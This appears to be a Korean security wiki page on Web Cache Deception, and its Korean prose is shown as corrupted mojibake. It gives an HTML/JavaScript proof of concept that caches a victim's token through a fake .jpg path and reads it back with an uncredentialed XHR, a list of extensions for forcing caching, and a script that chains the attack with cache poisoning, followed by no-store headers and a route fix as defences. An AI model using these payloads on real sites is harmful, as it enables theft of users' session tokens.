Back

Web Cache Deception

๐Ÿ” Introduction

Web Cache Deception์€ ์ค‘์š” ์ •๋ณด๋ฅผ ๋ฆฌํ„ดํ•˜๋Š” API์—์„œ ํ•ด๋‹น ์ •๋ณด๋ฅผ ์บ์‹œํ•˜๋„๋ก ์„ค์ •๋˜์–ด ์žˆ๊ฑฐ๋‚˜, ์ฒ˜๋ฆฌ ๋ฐฉ์‹ ๋ฏธํกํ•จ์„ ์ด์šฉํ•˜์—ฌ ๊ณต๊ฒฉ์ž๊ฐ€ ์ž„์˜๋กœ ์‚ฌ์šฉ์ž์˜ ์ค‘์š” ์ •๋ณด๋ฅผ ์บ์‹œํ•˜๊ณ  SOP๋ฅผ ๋ฌด์‹œํ•˜์—ฌ ์ •๋ณด๋ฅผ ํƒˆ์ทจํ•  ์ˆ˜ ์žˆ๋Š” ๊ณต๊ฒฉ ๋ฐฉ๋ฒ•์ž…๋‹ˆ๋‹ค.

๋งŒ์•ฝ ์•„๋ž˜์™€ ๊ฐ™์ด ์ค‘์š”ํ•œ ์ •๋ณด๊ฐ€ Response๋กœ ์ œ๊ณต๋˜์ง€๋งŒ SOP๋กœ ์ธํ•ด ๋ณดํ˜ธ๋˜๊ณ  ์žˆ๋Š” ์ƒํƒœ์ธ ๊ฒฝ์šฐ ๊ณต๊ฒฉ์ž๊ฐ€ ํ•ด๋‹น Response๋ฅผ ํ•ธ๋“ค๋งํ•˜์—ฌ ํ•ด๋‹น ์ •๋ณด๋ฅผ ๊ฐ€์ ธ๊ฐˆ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. ๋ฌผ๋ก  CORS ์„ค์ •์ด ์ž˜๋ชป๋œ ๊ฒฝ์šฐ ์ •๋ณด๋ฅผ ํ•ธ๋“ค๋งํ•˜์—ฌ ๊ฐ€์ ธ๊ฐˆ ์ˆ˜ ์žˆ๊ณ , ์ด๋Š” ๋ณดํ†ต JSON Hijacking์œผ๋กœ ํ‘œํ˜„ํ•ฉ๋‹ˆ๋‹ค. ๋•Œ๋•Œ๋กœ ์–ด๋–ค API๋“ค์€ Response์— ์ค‘์š”์ •๋ณด๋ฅผ ๋‹ด๊ณ  ์žˆ์ง€๋งŒ, Cache ๊ด€๋ จ ํ—ค๋”๋ฅผ ํ†ตํ•ด ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ์ด๋ฅผ ์บ์‹œํ•˜๋„๋ก ์œ ๋„ํ•˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค.

GET /token HTTP/1.1

HTTP/1.1 200
Cache-Control: private, max-age=3600

{
  "token":"abcdfasdfas"
}

์ด๋Ÿฌํ•œ ๊ฒฝ์šฐ ์ด๋ฏธ ํ•ด๋‹น URL์˜ ๋ฐ์ดํ„ฐ๊ฐ€ ๋ธŒ๋ผ์šฐ์ €์— ์บ์‹œ๋˜์–ด ์žˆ๊ธฐ ๋•Œ๋ฌธ์— XMLHttpRequest, $ajax ๋“ฑ์œผ๋กœ ํ˜ธ์ถœ ์‹œ withCredential์„ false๋กœ ์„ค์ •(์ด๋Š” CORS: * ์ผ ๋•Œ SOP๋ฅผ ๋ฌด์‹œํ•˜๊ณ  ๋ฐ์ดํ„ฐ๋ฅผ ๊ฐ€์ ธ์˜ฌ ์ˆ˜ ์žˆ๋„๋ก ์ฒ˜๋ฆฌํ•˜๋Š” ๋ฐฉ๋ฒ•์ž…๋‹ˆ๋‹ค. [์ฐธ๊ณ /๊ด€๋ จ๋‚ด์šฉ])ํ•˜์—ฌ ์ฟ ํ‚ค๊ฐ€ ๋ถ™์ง€ ์•Š์€ ์š”์ฒญ์ด ์ „์†ก๋˜๋”๋ผ๋„ ์บ์‹œ๋œ ๊ฒฐ๊ณผ๋ฅผ ๋ฆฌํ„ดํ•˜๊ธฐ ๋–„๋ฌธ์— ๊ฒฐ๊ณผ์ ์œผ๋กœ ๊ณต๊ฒฉ์ž๊ฐ€ ์ค‘์š”์ •๋ณด๋ฅผ ์ฝ์„ ์ˆ˜ ์žˆ๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

๊ทธ๋ฆฌ๊ณ  ์–ด๋–ค API๋“ค์€ ์ •ํ™•ํ•œ ๊ฒฝ๋กœ๋กœ๋งŒ ํ˜ธ์ถœํ•  ์ˆ˜ ์žˆ๋Š”๊ฒŒ ์•„๋‹Œ wildcard๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํ•˜์œ„ ๊ฒฝ๋กœ๋‚˜ ๋‹ค๋ฅธ ํ™•์žฅ์ž๋กœ ํ˜ธ์ถœํ•ด๋„ ๋ฐ์ดํ„ฐ๋ฅผ ๋ฆฌํ„ดํ•˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค.

REQ/RES 1

GET /token HTTP/1.1

HTTP/1.1 200
{
  "token":"abcdfasdfas"
}

REQ/RES 2

GET /token/abcd HTTP/1.1

HTTP/1.1 200
{
  "token":"abcdfasdfas"
}

์ด๋ ‡๊ฒŒ ํ•˜์œ„ ๊ฒฝ๋กœ๋‚˜ ํ™•์žฅ์ž ๋“ฑ์„ ์˜ํ–ฅ๋ฐ›์ง€ ์•Š๊ณ  ๋ฐ์ดํ„ฐ๋ฅผ ๋ฆฌํ„ดํ•œ๋‹ค๋ฉด ๊ฐ•์ œ๋กœ ์บ์‹œ๋ฅผ ์œ ๋„ํ•˜๋Š” ํ—ค๋”๊ฐ€ ์—†๋‹ค๊ณ  ํ•ด๋„ ์•„๋ž˜์™€ ๊ฐ™์ด css/js/jpg ๋“ฑ ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ์บ์‹œํ•˜๋ ค๊ณ  ํ•˜๋Š” ํ™•์žฅ์ž๋ฅผ ์ด์šฉํ•ด์„œ response ์ •๋ณด๋ฅผ ์บ์‹œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

GET /token/abcd.jpg HTTP/1.1

HTTP/1.1 200
{
  "token":"abcdfasdfas"
}

์ด๋ฏธ URL์€ ์ค‘์š”์ •๋ณด๊ฐ€ ํฌํ•จ๋œ ์ƒํƒœ๋กœ ์บ์‹œ๋ฌ๊ธฐ ๋–„๋ฌธ์— ๊ณต๊ฒฉ์ž๊ฐ€ ๋‹ค์‹œ ํ•ด๋‹น ํŒŒ์ผ์„ ์ธ์ฆ ์—†๋Š” ์ƒํƒœ๋กœ ์žฌ ์š”์ฒญํ•˜์—ฌ ์บ์‹œ๋œ ๊ฒฐ๊ณผ๋ฅผ ๋ฐ›์•„์˜ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ฒฐ๊ณผ์ ์œผ๋กœ SOP๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ๋Š” ๋ฐฉ๋ฒ•์ด ๋ฉ๋‹ˆ๋‹ค.

<img src="https://target/token/abcd.jpg" style="width:1px; height:1px;" onload="getToken()">
<script>
function getToken(){
		var http = new XMLHttpRequest();
		http.onload = function(){
		  console.log(http.responseText);
		};
		http.open("GET", "https://target/token/abcd.jpg", true);
		http.withCredentials = false;
		http.send();
}
</script>

๐Ÿ—ก Offensive techniques

Detect

Cache Deception์„ ์‹๋ณ„ํ•˜๋ ค๋ฉด ๋‹น์—ฐํžˆ ์ค‘์š”์ •๋ณด๊ฐ€ ์žˆ๋Š” API์—์„œ ์บ์‹œ๊ฐ€ ๊ฐ€๋Šฅํ•œ์ง€ ํ…Œ์ŠคํŠธ๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. ๊ธฐ๋ณธ์ ์œผ๋กœ๋Š” Response ํ—ค๋” ๋‚ด Cache-Control์„ ํ†ตํ•ด ๊ฐ•์ œ๋กœ ์บ์‹œ๋ฅผ ์œ ๋„ํ•˜๋Š”์ง€ ์ฒดํฌํ•˜๊ณ , ๋ณ„๋‹ค๋ฅธ ์บ์‹œ ์„ค์ •์ด ์—†๋Š” ๊ฒฝ์šฐ ์ด๋ฏธ์ง€, JS ๋“ฑ ๋ฆฌ์†Œ์Šค ๊ด€๋ จ ํ™•์žฅ์ž๋ฅผ ์ด์šฉํ•ด ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ์ค‘์š”์ •๋ณด ํŽ˜์ด์ง€๋ฅผ ์บ์‹œํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ํ…Œ์ŠคํŠธ๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.

Resource๋ฅผ ์ด์šฉํ•œ ์บ์‹œ ์œ ๋„ ์˜ˆ์‹œ

/token/payload.aif
/token/payload.aiff
/token/payload.au
/token/payload.avi
/token/payload.bin
/token/payload.bmp
/token/payload.cab
/token/payload.carb
/token/payload.cct
/token/payload.cdf
/token/payload.class
/token/payload.css
/token/payload.doc
/token/payload.dcr
/token/payload.dtd
/token/payload.gcf
/token/payload.gff
/token/payload.gif
/token/payload.grv
/token/payload.hdml
/token/payload.hqx
/token/payload.ico
/token/payload.ini
/token/payload.jpeg
/token/payload.jpg
/token/payload.js
/token/payload.mov
/token/payload.mp3
/token/payload.nc
/token/payload.pct
/token/payload.ppc
/token/payload.pws
/token/payload.swa
/token/payload.swf
/token/payload.txt
/token/payload.vbs
/token/payload.w32
/token/payload.wav
/token/payload.wbmp
/token/payload.wml
/token/payload.wmlc
/token/payload.wmls
/token/payload.wmlsc
/token/payload.xsd
/token/payload.zip

Exploitation

์ค‘์š”์ •๋ณด๋ฅผ ์บ์‹œํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด ์ด์ œ ํ•ด๋‹น ์ •๋ณด๋ฅผ img ํƒœ๊ทธ ๋“ฑ์œผ๋กœ ์บ์‹œํ•œ ํ›„ ๋ฐ์ดํ„ฐ๋ฅผ ์ฝ์œผ๋ฉด ๋ฉ๋‹ˆ๋‹ค. ์ด๋ฏธ ์บ์‹œ๋œ ๋ฐ์ดํ„ฐ๋ฅผ ์ฝ๊ธฐ ๋•Œ๋ฌธ์— CORS: * ๋“ฑ Response ํ•ธ๋“ค๋ง์— ์ œํ•œ์ด ์žˆ๋”๋ผ๋„ withCredentials๋ฅผ false๋กœ ์ฃผ์–ด ์ด๋ฅผ ๋ฌด์‹œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

<img src="https://target/token/abcd.jpg" style="width:1px; height:1px;" onload="getToken()">
<script>
function getToken(){
		var http = new XMLHttpRequest();
		http.onload = function(){
		  console.log(http.responseText);
		};
		http.open("GET", "https://target/token/abcd.jpg", true);
		http.withCredentials = false;
		http.send();
}
</script>

Bypass protection

With Cache Poisoning

๋งŒ์•ฝ ์„œ๋น„์Šค์— Web Cache Poisoning ์ทจ์•ฝ์ ์ด ์กด์žฌํ•œ๋‹ค๋ฉด, ์ด๋ฅผ ํ†ตํ•ด Cache Deception์„ ์œ ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋งŒ์•ฝ X-Unkeyd-Input ๋ผ๋Š” ํ—ค๋”๊ฐ€ Poisoning์˜ unkeyd input์œผ๋กœ ์“ฐ์ผ ์ˆ˜ ์žˆ๋‹ค๋ฉด, ์•„๋ž˜์™€ ๊ฐ™์ด ํ•ด๋‹น ํ—ค๋”๋ฅผ ํฌํ•จํ•œ ์š”์ฒญ์„ ๋ฐœ์ƒ์‹œ์ผœ ์บ์‹œ๋˜๋„๋ก ์œ ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๋•Œ ์ผ๋ฐ˜ ํŽ˜์ด์ง€๋กœ ์บ์‹œํ•˜๋ฉด ์ „์—ญ ์บ์‹œ๊ฐ€ ๋˜๊ธฐ ๋•Œ๋ฌธ์— ํŠน์ • ์‹๋ณ„ ์ •๋ณด(์•„๋ž˜ ์˜ˆ์‹œ์—์„  userid)๋ฅผ ํŒŒ๋ผ๋ฏธํ„ฐ๋กœ ๋ถ™์—ฌ์ฃผ์–ด Cache busting ์ฒ˜๋ฆฌ๋ฅผ ํ•˜๋ฉด ๊ฐœ๊ฐœ์ธ ์„ธ์…˜๋งˆ๋‹ค ์ค‘์š”์ •๋ณด๋ฅผ ์บ์‹œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Req

GET /token/?userid=1234
X-Unkeyd-Input: 1234

Script

function sleep(ms) {
  const wakeUpTime = Date.now() + ms;
  while (Date.now() < wakeUpTime) {}
}

// Unkeyed Input์„ ํ†ตํ•ด ์บ์‹œํ•ฉ๋‹ˆ๋‹ค.
var http = new XMLHttpRequest();
http.open("GET", "https://target/token/?userid=1234", true);
http.withCredentials = true;
http.setRequestHeader("X-Unkeyed-Input","1234")
http.send();

// ์œ„ ์š”์ฒญ์ด ์บ์‹œ๋˜๊ธฐ๊นŒ์ง€ ์•ฝ๊ฐ„ ๊ธฐ๋‹ค๋ฆฝ๋‹ˆ๋‹ค.
sleep(3000);

// ์บ์‹œ๋œ ๊ฒฐ๊ณผ๋ฅผ ์ฝ์–ด์˜ต๋‹ˆ๋‹ค.
var http = new XMLHttpRequest();
http.open("GET", "https://target/token/?userid=1234", true);
http.onload = function(){
		  console.log(http.responseText);
		};
http.withCredentials = false;
http.send();

๐Ÿ›ก Defensive techniques

๋Œ€์‘๋ฐฉ์•ˆ์€ ๊ฐ„๋‹จํ•ฉ๋‹ˆ๋‹ค. ์ค‘์š”์ •๋ณด๋ฅผ ๋‹ค๋ฃจ๋Š” API์— ๋Œ€ํ•ด์„  ์บ์‹œ๋  ์—ฌ์ง€๋ฅผ ๋‚จ๊ฒจ๋†“์ง€ ์•Š๋Š”๊ฒŒ ์ข‹์Šต๋‹ˆ๋‹ค. ์ผ๋ฐ˜์ ์œผ๋กœ cache-control ํ—ค๋”๋ฅผ ํ†ตํ•ด no-store ๋“ฑ ์บ์‹œํ•˜์ง€ ์•Š๋„๋ก ์„ค์ •ํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค.

Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: 0

๋˜ํ•œ ์ค‘์š”์ •๋ณด API๋“ค์€ handler ๋“ฑ์—์„œ ์ •ํ™•ํ•œ URL๋กœ๋งŒ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋„๋ก wildcard ์ฒ˜๋ฆฌ๋Š” ์ œ๊ฑฐํ•ฉ๋‹ˆ๋‹ค.

e.g golang-echo - before

e.GET("/token/*", func(c echo.Context) error {
	// Logic ...
	return c.JSON(http.StatusOK, r)
})

e.g golang-echo - after

e.GET("/token/", func(c echo.Context) error {
	// Logic ...
	return c.JSON(http.StatusOK, r)
})

๐Ÿ•น Tools

๐Ÿ“Œ References

Licensed under CC BY-NC-SA 4.0